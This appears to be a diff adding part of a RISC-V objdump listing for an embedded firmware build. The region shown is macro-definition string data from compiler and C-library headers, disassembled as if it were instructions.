+    46ac:	38204543          	fmadd.s	fa0,ft0,ft2,ft7,rmm
+    46b0:	5f5f0033          	0x5f5f0033
+    46b4:	6572                	flw	fa0,28(sp)
+    46b6:	7574                	flw	fa3,108(a0)
+    46b8:	6e72                	flw	ft8,28(sp)
+    46ba:	77745f73          	csrrwi	t5,0x777,8
+    46be:	6369                	lui	t1,0x1a
+    46c0:	2065                	jal	4768 <__stack_size+0x3f68>
+    46c2:	5f5f 7461 7274      	0x727474615f5f
+    46c8:	6269                	lui	tp,0x1a
+    46ca:	7475                	lui	s0,0xffffd
+    46cc:	5f65                	li	t5,-7
+    46ce:	285f 5f28 725f      	0x725f5f28285f
+    46d4:	7465                	lui	s0,0xffff9
+    46d6:	7275                	lui	tp,0xffffd
+    46d8:	736e                	flw	ft6,248(sp)
+    46da:	745f 6977 6563      	0x65636977745f
+    46e0:	5f5f 2929 5f00      	0x5f0029295f5f
+    46e6:	445f 4c42 445f      	0x445f4c42445f
+    46ec:	4e45                	li	t3,17
+    46ee:	5f4d524f          	fnmadd.q	ft4,fs10,fs4,fa1,unknown
+    46f2:	494d                	li	s2,19
+    46f4:	5f4e                	lw	t5,240(sp)
+    46f6:	205f 2828 6f64      	0x6f642828205f
+    46fc:	6275                	lui	tp,0x1d
+    46fe:	656c                	flw	fa1,76(a0)
+    4700:	3429                	jal	410a <__stack_size+0x390a>
+    4702:	392e                	fld	fs2,232(sp)
+    4704:	3034                	fld	fa3,96(s0)
+    4706:	3536                	fld	fa0,360(sp)
+    4708:	3436                	fld	fs0,360(sp)
+    470a:	3835                	jal	3f46 <__stack_size+0x3746>
+    470c:	3134                	fld	fa3,96(a0)
+    470e:	3432                	fld	fs0,296(sp)
+    4710:	3536                	fld	fa0,360(sp)
+    4712:	3434                	fld	fa3,104(s0)
+    4714:	3731                	jal	4620 <__stack_size+0x3e20>
+    4716:	3536                	fld	fa0,360(sp)
+    4718:	3836                	fld	fa6,360(sp)
+    471a:	38323937          	lui	s2,0x38323
+    471e:	3836                	fld	fa6,360(sp)
+    4720:	3232                	fld	ft4,296(sp)
+    4722:	3331                	jal	442e <__stack_size+0x3c2e>
+    4724:	2d653237          	lui	tp,0x2d653
+    4728:	4c343233          	0x4c343233
+    472c:	0029                	c.nop	10
+    472e:	535f 5f43 4552      	0x45525f43535f
+    4734:	445f 5055 4d5f      	0x4d5f5055445f
+    473a:	5841                	li	a6,-16
+    473c:	3720                	fld	fs0,104(a4)
+    473e:	525f0033          	0x525f0033
+    4742:	4545                	li	a0,17
+    4744:	544e                	lw	s0,240(sp)
+    4746:	4d5f 5f50 4552      	0x45525f504d5f
+    474c:	544c5553          	0x544c5553
+    4750:	7028                	flw	fa0,96(s0)
+    4752:	7274                	flw	fa3,100(a2)
+    4754:	2029                	jal	475e <__stack_size+0x3f5e>
+    4756:	2828                	fld	fa0,80(s0)
+    4758:	7470                	flw	fa2,108(s0)
+    475a:	2972                	fld	fs2,280(sp)
+    475c:	3e2d                	jal	4296 <__stack_size+0x3a96>
+    475e:	725f 7365 6c75      	0x6c757365725f
+    4764:	2974                	fld	fa3,208(a0)
+    4766:	5f00                	lw	s0,56(a4)
+    4768:	475f 4343 495f      	0x495f4343475f
+    476e:	4345                	li	t1,17
+    4770:	355f 3935 3020      	0x30203935355f
+    4776:	5f00                	lw	s0,56(a4)
+    4778:	4f50                	lw	a2,28(a4)
+    477a:	5f584953          	0x5f584953
+    477e:	4f535f43          	fmadd.q	ft10,ft6,fs5,fs1,unknown
+    4782:	5255                	li	tp,-11
+    4784:	5f004543          	fmadd.q	fa0,ft0,fa6,fa1,rmm
+    4788:	745f 6d69 5f65      	0x5f656d69745f
+    478e:	5f74                	lw	a3,124(a4)
+    4790:	6564                	flw	fs1,76(a0)
+    4792:	6966                	flw	fs2,88(sp)
+    4794:	656e                	flw	fa0,216(sp)
+    4796:	2064                	fld	fs1,192(s0)
+    4798:	5f00                	lw	s0,56(a4)
+    479a:	4552                	lw	a0,20(sp)
+    479c:	4e45                	li	t3,17
+    479e:	5f54                	lw	a3,60(a4)
+    47a0:	49445453          	0x49445453
+    47a4:	54535f4f          	0x54535f4f
+    47a8:	4552                	lw	a0,20(sp)
+    47aa:	4d41                	li	s10,16
+    47ac:	7628                	flw	fa0,104(a2)
+    47ae:	7261                	lui	tp,0xffff8
+    47b0:	692c                	flw	fa1,80(a0)
+    47b2:	646e                	flw	fs0,216(sp)
+    47b4:	7865                	lui	a6,0xffff9
+    47b6:	2029                	jal	47c0 <__stack_size+0x3fc0>
+    47b8:	2826                	fld	fa6,72(sp)
+    47ba:	6176                	flw	ft2,92(sp)
+    47bc:	2972                	fld	fs2,280(sp)
+    47be:	3e2d                	jal	42f8 <__stack_size+0x3af8>
+    47c0:	5f5f 6673 695b      	0x695b66735f5f
+    47c6:	646e                	flw	fs0,216(sp)
+    47c8:	7865                	lui	a6,0xffff9
+    47ca:	005d                	c.nop	23
+    47cc:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    47d0:	494d                	li	s2,19
+    47d2:	2045                	jal	4872 <__stack_size+0x4072>
+    47d4:	0031                	c.nop	12
+    47d6:	5f46                	lw	t5,112(sp)
+    47d8:	30204b4f          	fnmadd.s	fs6,ft0,ft2,ft6,rmm
+    47dc:	4c00                	lw	s0,24(s0)
+    47de:	4e49                	li	t3,18
+    47e0:	5f45                	li	t5,-15
+    47e2:	414d                	li	sp,19
+    47e4:	2058                	fld	fa4,128(s0)
+    47e6:	3032                	fld	ft0,296(sp)
+    47e8:	3834                	fld	fa3,112(s0)
+    47ea:	5f00                	lw	s0,56(a4)
+    47ec:	465f 4c49 5f45      	0x5f454c49465f
+    47f2:	6564                	flw	fs1,76(a0)
+    47f4:	6966                	flw	fs2,88(sp)
+    47f6:	656e                	flw	fa0,216(sp)
+    47f8:	2064                	fld	fs1,192(s0)
+    47fa:	5f00                	lw	s0,56(a4)
+    47fc:	4552                	lw	a0,20(sp)
+    47fe:	4e45                	li	t3,17
+    4800:	5f54                	lw	a3,60(a4)
+    4802:	44544547          	0x44544547
+    4806:	5441                	li	s0,-16
+    4808:	5f45                	li	t5,-15
+    480a:	5245                	li	tp,-15
+    480c:	5f52                	lw	t5,52(sp)
+    480e:	2850                	fld	fa2,144(s0)
+    4810:	7470                	flw	fa2,108(s0)
+    4812:	2972                	fld	fs2,280(sp)
+    4814:	2820                	fld	fs0,80(s0)
+    4816:	2826                	fld	fa6,72(sp)
+    4818:	7028                	flw	fa0,96(s0)
+    481a:	7274                	flw	fa3,100(a2)
+    481c:	2d29                	jal	4e36 <__stack_size+0x4636>
+    481e:	5f3e                	lw	t5,236(sp)
+    4820:	656e                	flw	fa0,216(sp)
+    4822:	725f2e77          	0x725f2e77
+    4826:	6565                	lui	a0,0x19
+    4828:	746e                	flw	fs0,248(sp)
+    482a:	5f2e                	lw	t5,232(sp)
+    482c:	64746567          	0x64746567
+    4830:	7461                	lui	s0,0xffff8
+    4832:	5f65                	li	t5,-7
+    4834:	7265                	lui	tp,0xffff9
+    4836:	2972                	fld	fs2,280(sp)
+    4838:	0029                	c.nop	10
+    483a:	49445f4f          	fnmadd.s	ft10,fs0,fs4,fs1,unknown
+    483e:	4552                	lw	a0,20(sp)
+    4840:	5f205443          	fmadd.q	fs0,ft0,fs2,fa1,unknown
+    4844:	4446                	lw	s0,80(sp)
+    4846:	5249                	li	tp,-14
+    4848:	4345                	li	t1,17
+    484a:	0054                	addi	a3,sp,4
+    484c:	455f 444e 535f      	0x535f444e455f
+    4852:	4454                	lw	a3,12(s0)
+    4854:	435f 0020 555f      	0x555f0020435f
+    485a:	4e49                	li	t3,18
+    485c:	5054                	lw	a3,36(s0)
+    485e:	5254                	lw	a3,36(a2)
+    4860:	545f 445f 4345      	0x4345445f545f
+    4866:	414c                	lw	a1,4(a0)
+    4868:	4552                	lw	a0,20(sp)
+    486a:	2044                	fld	fs1,128(s0)
+    486c:	5f00                	lw	s0,56(a4)
+    486e:	554e                	lw	a0,240(sp)
+    4870:	4c4c                	lw	a1,28(s0)
+    4872:	3020                	fld	fs0,96(s0)
+    4874:	4f00                	lw	s0,24(a4)
+    4876:	415f 4343 4f4d      	0x4f4d4343415f
+    487c:	4544                	lw	s1,12(a0)
+    487e:	2820                	fld	fs0,80(s0)
+    4880:	44525f4f          	0x44525f4f
+    4884:	594c4e4f          	fnmadd.s	ft8,fs8,fs4,fa1,rmm
+    4888:	4f7c                	lw	a5,92(a4)
+    488a:	575f 4f52 4c4e      	0x4c4e4f52575f
+    4890:	7c59                	lui	s8,0xffff6
+    4892:	44525f4f          	0x44525f4f
+    4896:	00295257          	0x295257
+    489a:	4f4c                	lw	a1,28(a4)
+    489c:	474e                	lw	a4,208(sp)
+    489e:	4d5f 4e49 2820      	0x28204e494d5f
+    48a4:	4c2d                	li	s8,11
+    48a6:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    48aa:	414d                	li	sp,19
+    48ac:	2058                	fld	fa4,128(s0)
+    48ae:	202d                	jal	48d8 <__stack_size+0x40d8>
+    48b0:	4c31                	li	s8,12
+    48b2:	0029                	c.nop	10
+    48b4:	5f5f 6377 6168      	0x616863775f5f
+    48ba:	5f72                	lw	t5,60(sp)
+    48bc:	5f74                	lw	a3,124(a4)
+    48be:	205f 4300 5253      	0x52534300205f
+    48c4:	4d5f 5045 2043      	0x204350454d5f
+    48ca:	0034                	addi	a3,sp,8
+    48cc:	5f5f 7470 675f      	0x675f74705f5f
+    48d2:	6175                	addi	sp,sp,368
+    48d4:	6472                	flw	fs0,28(sp)
+    48d6:	6465                	lui	s0,0x19
+    48d8:	625f 2879 2978      	0x29782879625f
+    48de:	5f20                	lw	s0,120(a4)
+    48e0:	6c5f 636f 5f6b      	0x5f6b636f6c5f
+    48e6:	6e61                	lui	t3,0x18
+    48e8:	6f6e                	flw	ft10,216(sp)
+    48ea:	6174                	flw	fa3,68(a0)
+    48ec:	6574                	flw	fa3,76(a0)
+    48ee:	7028                	flw	fa0,96(s0)
+    48f0:	5f74                	lw	a3,124(a4)
+    48f2:	72617567          	0x72617567
+    48f6:	6564                	flw	fs1,76(a0)
+    48f8:	5f64                	lw	s1,124(a4)
+    48fa:	7962                	flw	fs2,56(sp)
+    48fc:	7828                	flw	fa0,112(s0)
+    48fe:	2929                	jal	4d18 <__stack_size+0x4518>
+    4900:	5f00                	lw	s0,56(a4)
+    4902:	41484357          	0x41484357
+    4906:	5f52                	lw	t5,52(sp)
+    4908:	5f54                	lw	a3,60(a4)
+    490a:	4544                	lw	s1,12(a0)
+    490c:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    4910:	4445                	li	s0,17
+    4912:	0020                	addi	s0,sp,8
+    4914:	5f5f 6c61 6f6c      	0x6f6c6c615f5f
+    491a:	69735f63          	bge	t1,s7,4fb8 <__stack_size+0x47b8>
+    491e:	657a                	flw	fa0,156(sp)
+    4920:	7828                	flw	fa0,112(s0)
+    4922:	2029                	jal	492c <__stack_size+0x412c>
+    4924:	5f5f 7461 7274      	0x727474615f5f
+    492a:	6269                	lui	tp,0x1a
+    492c:	7475                	lui	s0,0xffffd
+    492e:	5f65                	li	t5,-7
+    4930:	285f 5f28 615f      	0x615f5f28285f
+    4936:	6c6c                	flw	fa1,92(s0)
+    4938:	735f636f          	jal	t1,fb86c <__stack_size+0xfb06c>
+    493c:	7a69                	lui	s4,0xffffa
+    493e:	5f65                	li	t5,-7
+    4940:	285f 2978 2929      	0x29292978285f
+    4946:	5f00                	lw	s0,56(a4)
+    4948:	4552                	lw	a0,20(sp)
+    494a:	4e45                	li	t3,17
+    494c:	5f54                	lw	a3,60(a4)
+    494e:	43454843          	fmadd.d	fa6,fa0,fs4,fs0,rmm
+    4952:	4d455f4b          	0x4d455f4b
+    4956:	5245                	li	tp,-15
+    4958:	434e4547          	fmsub.d	fa0,ft8,fs4,fs0,rmm
+    495c:	2859                	jal	49f2 <__stack_size+0x41f2>
+    495e:	7470                	flw	fa2,108(s0)
+    4960:	2972                	fld	fs2,280(sp)
+    4962:	0020                	addi	s0,sp,8
+    4964:	555f 424e 4655      	0x4655424e555f
+    496a:	535f 5254 4145      	0x41455254535f
+    4970:	5f4d                	li	t5,-13
+    4972:	2054504f          	fnmadd.s	ft0,fs0,ft5,ft4,unknown
+    4976:	0031                	c.nop	12
+    4978:	5f5f 7973 5f6d      	0x5f6d79735f5f
+    497e:	706d6f63          	bltu	s10,t1,509c <__stack_size+0x489c>
+    4982:	7461                	lui	s0,0xffff8
+    4984:	7328                	flw	fa0,96(a4)
+    4986:	6d79                	lui	s10,0x1e
+    4988:	692c                	flw	fa1,80(a0)
+    498a:	706d                	c.lui	zero,0xffffb
+    498c:	2c6c                	fld	fa1,216(s0)
+    498e:	6576                	flw	fa0,92(sp)
+    4990:	6972                	flw	fs2,28(sp)
+    4992:	2964                	fld	fs1,208(a0)
+    4994:	5f20                	lw	s0,120(a4)
+    4996:	615f 6d73 5f5f      	0x5f5f6d73615f
+    499c:	2228                	fld	fa0,64(a2)
+    499e:	732e                	flw	ft6,232(sp)
+    49a0:	6d79                	lui	s10,0x1e
+    49a2:	6576                	flw	fa0,92(sp)
+    49a4:	2072                	fld	ft0,280(sp)
+    49a6:	2022                	fld	ft0,8(sp)
+    49a8:	706d6923          	0x706d6923
+    49ac:	206c                	fld	fa1,192(s0)
+    49ae:	2c22                	fld	fs8,8(sp)
+    49b0:	2220                	fld	fs0,64(a2)
+    49b2:	2320                	fld	fs0,64(a4)
+    49b4:	206d7973          	csrrci	s2,0x206,26
+    49b8:	4022                	0x4022
+    49ba:	2022                	fld	ft0,8(sp)
+    49bc:	72657623          	0x72657623
+    49c0:	6469                	lui	s0,0x1a
+    49c2:	0029                	c.nop	10
+    49c4:	5f5f 4e49 5f54      	0x5f544e495f5f
+    49ca:	454c                	lw	a1,12(a0)
+    49cc:	5341                	li	t1,-16
+    49ce:	3854                	fld	fa3,176(s0)
+    49d0:	575f 4449 4854      	0x48544449575f
+    49d6:	5f5f 3820 5f00      	0x5f0038205f5f
+    49dc:	475f 554e 5f43      	0x5f43554e475f
+    49e2:	205f 3031 4f00      	0x4f003031205f
+    49e8:	535f 4145 4352      	0x43524145535f
+    49ee:	2048                	fld	fa0,128(s0)
+    49f0:	465f 5845 4345      	0x43455845465f
+    49f6:	48435253          	0x48435253
+    49fa:	5f00                	lw	s0,56(a4)
+    49fc:	6f68                	flw	fa0,92(a4)
+    49fe:	6e616d77          	0x6e616d77
+    4a02:	2879                	jal	4aa0 <__stack_size+0x42a0>
+    4a04:	2c78                	fld	fa4,216(s0)
+    4a06:	2979                	jal	4ea4 <__stack_size+0x46a4>
+    4a08:	2820                	fld	fs0,80(s0)
+    4a0a:	2828                	fld	fa0,80(s0)
+    4a0c:	2978                	fld	fa4,208(a0)
+    4a0e:	7928282b          	0x7928282b
+    4a12:	2d29                	jal	502c <__stack_size+0x482c>
+    4a14:	2931                	jal	4e30 <__stack_size+0x4630>
+    4a16:	2f29                	jal	5130 <__stack_size+0x4930>
+    4a18:	7928                	flw	fa0,112(a0)
+    4a1a:	2929                	jal	4e34 <__stack_size+0x4634>
+    4a1c:	5f00                	lw	s0,56(a4)
+    4a1e:	495f 544e 465f      	0x465f544e495f
+    4a24:	5341                	li	t1,-16
+    4a26:	3154                	fld	fa3,160(a0)
+    4a28:	5f36                	lw	t5,108(sp)
+    4a2a:	5954                	lw	a3,52(a0)
+    4a2c:	4550                	lw	a2,12(a0)
+    4a2e:	5f5f 6920 746e      	0x746e69205f5f
+    4a34:	5300                	lw	s0,32(a4)
+    4a36:	495f 4453 5249      	0x52494453495f
+    4a3c:	6d28                	flw	fa0,88(a0)
+    4a3e:	2029                	jal	4a48 <__stack_size+0x4248>
+    4a40:	2828                	fld	fa0,80(s0)
+    4a42:	6d28                	flw	fa0,88(a0)
+    4a44:	2629                	jal	4d4e <__stack_size+0x454e>
+    4a46:	495f 4d46 2954      	0x29544d46495f
+    4a4c:	3d20                	fld	fs0,120(a0)
+    4a4e:	203d                	jal	4a7c <__stack_size+0x427c>
+    4a50:	495f 4446 5249      	0x52494446495f
+    4a56:	0029                	c.nop	10
+    4a58:	535f 5f43 5f32      	0x5f325f43535f
+    4a5e:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+    4a62:	545f 5245 204d      	0x204d5245545f
+    4a68:	3031                	jal	4274 <__stack_size+0x3a74>
+    4a6a:	535f0037          	lui	zero,0x535f0
+    4a6e:	5f325f43          	fmadd.q	ft10,ft4,fs3,fa1,unknown
+    4a72:	4f4c                	lw	a1,28(a4)
+    4a74:	454c4143          	0x454c4143
+    4a78:	4544                	lw	s1,12(a0)
+    4a7a:	2046                	fld	ft0,80(sp)
+    4a7c:	3131                	jal	4688 <__stack_size+0x3e88>
+    4a7e:	0032                	c.slli	zero,0xc
+    4a80:	5f5f 4e49 5f54      	0x5f544e495f5f
+    4a86:	454c                	lw	a1,12(a0)
+    4a88:	5341                	li	t1,-16
+    4a8a:	3354                	fld	fa3,160(a4)
+    4a8c:	5f32                	lw	t5,44(sp)
+    4a8e:	54444957          	0x54444957
+    4a92:	5f48                	lw	a0,60(a4)
+    4a94:	205f 3233 4d00      	0x4d003233205f
+    4a9a:	5841                	li	a6,-16
+    4a9c:	495f 504e 5455      	0x5455504e495f
+    4aa2:	3220                	fld	fs0,96(a2)
+    4aa4:	3535                	jal	48d0 <__stack_size+0x40d0>
+    4aa6:	4f00                	lw	s0,24(a4)
+    4aa8:	525f 4f44 4c4e      	0x4c4e4f44525f
+    4aae:	2059                	jal	4b34 <__stack_size+0x4334>
+    4ab0:	0030                	addi	a2,sp,8
+    4ab2:	5f5f 6773 7465      	0x746567735f5f
+    4ab8:	61725f63          	bge	tp,s7,50d6 <__stack_size+0x48d6>
+    4abc:	28725f77          	0x28725f77
+    4ac0:	5f5f 7470 2c72      	0x2c7274705f5f
+    4ac6:	5f5f 2966 2820      	0x282029665f5f
+    4acc:	2d2d                	jal	5106 <__stack_size+0x4906>
+    4ace:	5f28                	lw	a0,120(a4)
+    4ad0:	665f 2d29 5f3e      	0x5f3e2d29665f
+    4ad6:	2072                	fld	ft0,280(sp)
+    4ad8:	203c                	fld	fa5,64(s0)
+    4ada:	2030                	fld	fa2,64(s0)
+    4adc:	5f5f203f 65677273 	0x656772735f5f203f
+    4ae4:	5f74                	lw	a3,124(a4)
+    4ae6:	2872                	fld	fa6,280(sp)
+    4ae8:	5f5f 7470 2c72      	0x2c7274705f5f
+    4aee:	5f20                	lw	s0,120(a4)
+    4af0:	665f 2029 203a      	0x203a2029665f
+    4af6:	6928                	flw	fa0,80(a0)
+    4af8:	746e                	flw	fs0,248(sp)
+    4afa:	2829                	jal	4b14 <__stack_size+0x4314>
+    4afc:	282a                	fld	fa6,136(sp)
+    4afe:	5f5f 2966 3e2d      	0x3e2d29665f5f
+    4b04:	705f 2b2b 2929      	0x29292b2b705f
+    4b0a:	5f00                	lw	s0,56(a4)
+    4b0c:	5942                	lw	s2,48(sp)
+    4b0e:	4554                	lw	a3,12(a0)
+    4b10:	4f5f 4452 5245      	0x524544524f5f
+    4b16:	5f20                	lw	s0,120(a4)
+    4b18:	494c                	lw	a1,20(a0)
+    4b1a:	5454                	lw	a3,44(s0)
+    4b1c:	454c                	lw	a1,12(a0)
+    4b1e:	455f 444e 4149      	0x4149444e455f
+    4b24:	004e                	c.slli	zero,0x13
+    4b26:	5f5f 4c46 3154      	0x31544c465f5f
+    4b2c:	3832                	fld	fa6,296(sp)
+    4b2e:	485f 5341 445f      	0x445f5341485f
+    4b34:	4e45                	li	t3,17
+    4b36:	5f4d524f          	fnmadd.q	ft4,fs10,fs4,fa1,unknown
+    4b3a:	205f 0031 5f5f      	0x5f5f0031205f
+    4b40:	455a4953          	0x455a4953
+    4b44:	575f464f          	fnmadd.q	fa2,ft10,fs5,fa0,rmm
+    4b48:	4e49                	li	t3,18
+    4b4a:	5f54                	lw	a3,60(a4)
+    4b4c:	5f54                	lw	a3,60(a4)
+    4b4e:	205f 0034 5047      	0x50470034205f
+    4b54:	4f49                	li	t5,18
+    4b56:	4c5f 574f 495f      	0x495f574f4c5f
+    4b5c:	2050                	fld	fa2,128(s0)
+    4b5e:	7830                	flw	fa2,112(s0)
+    4b60:	50003433          	0x50003433
+    4b64:	4854                	lw	a3,20(s0)
+    4b66:	4552                	lw	a0,20(sp)
+    4b68:	4441                	li	s0,16
+    4b6a:	435f 4552 5441      	0x54414552435f
+    4b70:	5f45                	li	t5,-15
+    4b72:	4544                	lw	s1,12(a0)
+    4b74:	4154                	lw	a3,4(a0)
+    4b76:	44454843          	0x44454843
+    4b7a:	3020                	fld	fs0,96(s0)
+    4b7c:	5000                	lw	s0,32(s0)
+    4b7e:	4854                	lw	a3,20(s0)
+    4b80:	4552                	lw	a0,20(sp)
+    4b82:	4441                	li	s0,16
+    4b84:	535f 4f43 4550      	0x45504f43535f
+    4b8a:	535f 5359 4554      	0x45545359535f
+    4b90:	204d                	jal	4c32 <__stack_size+0x4432>
+    4b92:	0031                	c.nop	12
+    4b94:	4e49                	li	t3,18
+    4b96:	5f54                	lw	a3,60(a4)
+    4b98:	4146                	lw	sp,80(sp)
+    4b9a:	5f385453          	0x5f385453
+    4b9e:	494d                	li	s2,19
+    4ba0:	004e                	c.slli	zero,0x13
+    4ba2:	465f 414d 4b52      	0x4b52414d465f
+    4ba8:	3020                	fld	fs0,96(s0)
+    4baa:	3078                	fld	fa4,224(s0)
+    4bac:	3130                	fld	fa2,96(a0)
+    4bae:	0030                	addi	a2,sp,8
+    4bb0:	505f 5f43 5f32      	0x5f325f43505f
+    4bb6:	4c4d5953          	0x4c4d5953
+    4bba:	4e49                	li	t3,18
+    4bbc:	3120534b          	fnmsub.s	ft6,ft0,fs2,ft6,unknown
+    4bc0:	475f0033          	0x475f0033
+    4bc4:	535f4343          	fmadd.d	ft6,ft10,fs5,fa0,rmm
+    4bc8:	5a49                	li	s4,-14
+    4bca:	5f45                	li	t5,-15
+    4bcc:	2054                	fld	fa3,128(s0)
+    4bce:	5f00                	lw	s0,56(a4)
+    4bd0:	465f 544c 3436      	0x3436544c465f
+    4bd6:	5f58                	lw	a4,60(a4)
+    4bd8:	494d                	li	s2,19
+    4bda:	5f4e                	lw	t5,240(sp)
+    4bdc:	205f 2e33 3633      	0x36332e33205f
+    4be2:	3132                	fld	ft2,296(sp)
+    4be4:	3330                	fld	fa2,96(a4)
+    4be6:	3431                	jal	45f2 <__stack_size+0x3df2>
+    4be8:	32313133          	0x32313133
+    4bec:	3930                	fld	fa2,112(a0)
+    4bee:	36303533          	0x36303533
+    4bf2:	3632                	fld	fa2,296(sp)
+    4bf4:	3632                	fld	fa2,296(sp)
+    4bf6:	31383737          	lui	a4,0x31383
+    4bfa:	31323337          	lui	t1,0x31323
+    4bfe:	36323537          	lui	a0,0x36323
+    4c02:	6530                	flw	fa2,72(a0)
+    4c04:	342d                	jal	462e <__stack_size+0x3e2e>
+    4c06:	3339                	jal	4914 <__stack_size+0x4114>
+    4c08:	4632                	lw	a2,12(sp)
+    4c0a:	3436                	fld	fs0,360(sp)
+    4c0c:	0078                	addi	a4,sp,12
+    4c0e:	5f5f 4e49 5f54      	0x5f544e495f5f
+    4c14:	414d                	li	sp,19
+    4c16:	5f58                	lw	a4,60(a4)
+    4c18:	205f 7830 6637      	0x66377830205f
+    4c1e:	6666                	flw	fa2,88(sp)
+    4c20:	6666                	flw	fa2,88(sp)
+    4c22:	6666                	flw	fa2,88(sp)
+    4c24:	4700                	lw	s0,8(a4)
+    4c26:	4950                	lw	a2,20(a0)
+    4c28:	41465f4f          	fnmadd.s	ft10,fa2,fs4,fs0,unknown
+    4c2c:	4c4c                	lw	a1,28(s0)
+    4c2e:	495f 2050 7830      	0x78302050495f
+    4c34:	3432                	fld	fs0,296(sp)
+    4c36:	5f00                	lw	s0,56(a4)
+    4c38:	475f 5858 415f      	0x415f5858475f
+    4c3e:	4942                	lw	s2,16(sp)
+    4c40:	565f 5245 4953      	0x49535245565f
+    4c46:	31204e4f          	fnmadd.s	ft8,ft0,fs2,ft6,rmm
+    4c4a:	3130                	fld	fa2,96(a0)
+    4c4c:	0034                	addi	a3,sp,8
+    4c4e:	5f5f 4e49 5f54      	0x5f544e495f5f
+    4c54:	454c                	lw	a1,12(a0)
+    4c56:	5341                	li	t1,-16
+    4c58:	3854                	fld	fa3,176(s0)
+    4c5a:	545f 5059 5f45      	0x5f455059545f
+    4c60:	205f 6973 6e67      	0x6e676973205f
+    4c66:	6465                	lui	s0,0x19
+    4c68:	6320                	flw	fs0,64(a4)
+    4c6a:	6168                	flw	fa0,68(a0)
+    4c6c:	0072                	c.slli	zero,0x1c
+    4c6e:	5f46                	lw	t5,112(sp)
+    4c70:	434c5257          	0x434c5257
+    4c74:	0032204b          	fnmsub.s	ft0,ft4,ft3,ft0,rdn
+    4c78:	435f 4f4c 4b43      	0x4b434f4c435f
+    4c7e:	4449                	li	s0,18
+    4c80:	545f 445f 4345      	0x4345445f545f
+    4c86:	414c                	lw	a1,4(a0)
+    4c88:	4552                	lw	a0,20(sp)
+    4c8a:	2044                	fld	fs1,128(s0)
+    4c8c:	4c00                	lw	s0,24(s0)
+    4c8e:	4f4c                	lw	a1,28(a4)
+    4c90:	474e                	lw	a4,208(sp)
+    4c92:	4d5f 4e49 4e00      	0x4e004e494d5f
+    4c98:	4446                	lw	s0,80(sp)
+    4c9a:	4942                	lw	s2,16(sp)
+    4c9c:	5354                	lw	a3,36(a4)
+    4c9e:	2820                	fld	fs0,80(s0)
+    4ca0:	657a6973          	csrrsi	s2,0x657,20
+    4ca4:	2820666f          	jal	a2,af26 <__stack_size+0xa726>
+    4ca8:	6466                	flw	fs0,88(sp)
+    4caa:	6d5f 7361 296b      	0x296b73616d5f
+    4cb0:	2a20                	fld	fs0,80(a2)
+    4cb2:	3820                	fld	fs0,112(s0)
+    4cb4:	0029                	c.nop	10
+    4cb6:	465f 424e 4f49      	0x4f49424e465f
+    4cbc:	3020                	fld	fs0,96(s0)
+    4cbe:	3178                	fld	fa4,224(a0)
+    4cc0:	3030                	fld	fa2,96(s0)
+    4cc2:	0030                	addi	a2,sp,8
+    4cc4:	5f5f 444c 4c42      	0x4c42444c5f5f
+    4cca:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
+    4cd0:	3320                	fld	fs0,96(a4)
+    4cd2:	332e                	fld	ft6,232(sp)
+    4cd4:	3236                	fld	ft4,360(sp)
+    4cd6:	3031                	jal	44e2 <__stack_size+0x3ce2>
+    4cd8:	33343133          	0x33343133
+    4cdc:	3131                	jal	48e8 <__stack_size+0x40e8>
+    4cde:	3032                	fld	ft0,296(sp)
+    4ce0:	3339                	jal	49ee <__stack_size+0x41ee>
+    4ce2:	3035                	jal	450e <__stack_size+0x3d0e>
+    4ce4:	3236                	fld	ft4,360(sp)
+    4ce6:	3236                	fld	ft4,360(sp)
+    4ce8:	3736                	fld	fa4,360(sp)
+    4cea:	37313837          	lui	a6,0x37313
+    4cee:	37313233          	0x37313233
+    4cf2:	3235                	jal	461e <__stack_size+0x3e1e>
+    4cf4:	3036                	fld	ft0,360(sp)
+    4cf6:	2d65                	jal	53ae <__stack_size+0x4bae>
+    4cf8:	3934                	fld	fa3,112(a0)
+    4cfa:	004c3233          	sltu	tp,s8,tp
+    4cfe:	505f 534f 5849      	0x5849534f505f
+    4d04:	5f32                	lw	t5,44(sp)
+    4d06:	4552                	lw	a0,20(sp)
+    4d08:	445f 5055 4d5f      	0x4d5f5055445f
+    4d0e:	5841                	li	a6,-16
+    4d10:	3220                	fld	fs0,96(a2)
+    4d12:	3535                	jal	4b3e <__stack_size+0x433e>
+    4d14:	5f00                	lw	s0,56(a4)
+    4d16:	465f 544c 455f      	0x455f544c465f
+    4d1c:	4156                	lw	sp,84(sp)
+    4d1e:	5f4c                	lw	a1,60(a4)
+    4d20:	454d                	li	a0,19
+    4d22:	4854                	lw	a3,20(s0)
+    4d24:	5f5f444f          	fnmadd.q	fs0,ft10,fs5,fa1,rmm
+    4d28:	3020                	fld	fs0,96(s0)
+    4d2a:	5f00                	lw	s0,56(a4)
+    4d2c:	735f 7274 6e6f      	0x6e6f7274735f
+    4d32:	65725f67          	0x65725f67
+    4d36:	6566                	flw	fa0,88(sp)
+    4d38:	6572                	flw	fa0,28(sp)
+    4d3a:	636e                	flw	ft6,216(sp)
+    4d3c:	2865                	jal	4df4 <__stack_size+0x45f4>
+    4d3e:	2c6d7973          	csrrci	s2,0x2c6,26
+    4d42:	6c61                	lui	s8,0x18
+    4d44:	6169                	addi	sp,sp,208
+    4d46:	6d797373          	csrrci	t1,0x6d7,18
+    4d4a:	2029                	jal	4d54 <__stack_size+0x4554>
+    4d4c:	7865                	lui	a6,0xffff9
+    4d4e:	6574                	flw	fa3,76(a0)
+    4d50:	6e72                	flw	ft8,28(sp)
+    4d52:	5f20                	lw	s0,120(a4)
+    4d54:	745f 7079 6f65      	0x6f657079745f
+    4d5a:	2066                	fld	ft0,88(sp)
+    4d5c:	7328                	flw	fa0,96(a4)
+    4d5e:	6d79                	lui	s10,0x1e
+    4d60:	2029                	jal	4d6a <__stack_size+0x456a>
+    4d62:	6c61                	lui	s8,0x18
+    4d64:	6169                	addi	sp,sp,208
+    4d66:	6d797373          	csrrci	t1,0x6d7,18
+    4d6a:	5f20                	lw	s0,120(a4)
+    4d6c:	615f 7474 6972      	0x69727474615f
+    4d72:	7562                	flw	fa0,56(sp)
+    4d74:	6574                	flw	fa3,76(a0)
+    4d76:	5f5f 2820 5f28      	0x5f2828205f5f
+    4d7c:	615f 696c 7361      	0x7361696c615f
